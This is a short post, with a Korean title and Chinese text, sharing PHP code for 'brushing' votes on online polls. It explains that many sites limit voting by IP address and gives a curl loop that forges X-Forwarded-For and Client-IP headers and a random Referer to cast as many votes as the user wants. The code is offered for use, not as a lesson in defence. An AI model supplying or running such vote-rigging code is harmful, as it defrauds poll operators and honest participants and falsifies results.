온라인 투표 시스템에서 투표를 브러싱하기 위한 PHP 코드

很多网站上的投票依据是ip地址，不同的ip地址一天可投票一次

下面的代码就是利用curl扩展来伪造ip地址 达到无限制投票；

    $times = $_POST['times'];  //投票次数
                $url = $_POST['url'];   //投票地址[某个选手下方投票按钮的链接]
                while ($times)
                {
                    $ip1 = 'X-FORWARDED-FOR:'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225);
                    $ip2 = 'CLIENT-IP:'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225).'.'.rand(115,225);
                    $arr = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
                    $from = "http://www.".$arr[rand(0,25)].".com/";
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, $url);
                    curl_setopt($ch, CURLOPT_HTTPHEADER, array($ip1, $ip2));
                    curl_setopt($ch, CURLOPT_REFERER, $from);
                    curl_setopt($ch, CURLOPT_HEADER, 1);
                    curl_exec($ch);
                    curl_close($ch);
                    $times--;
                }
                return ;
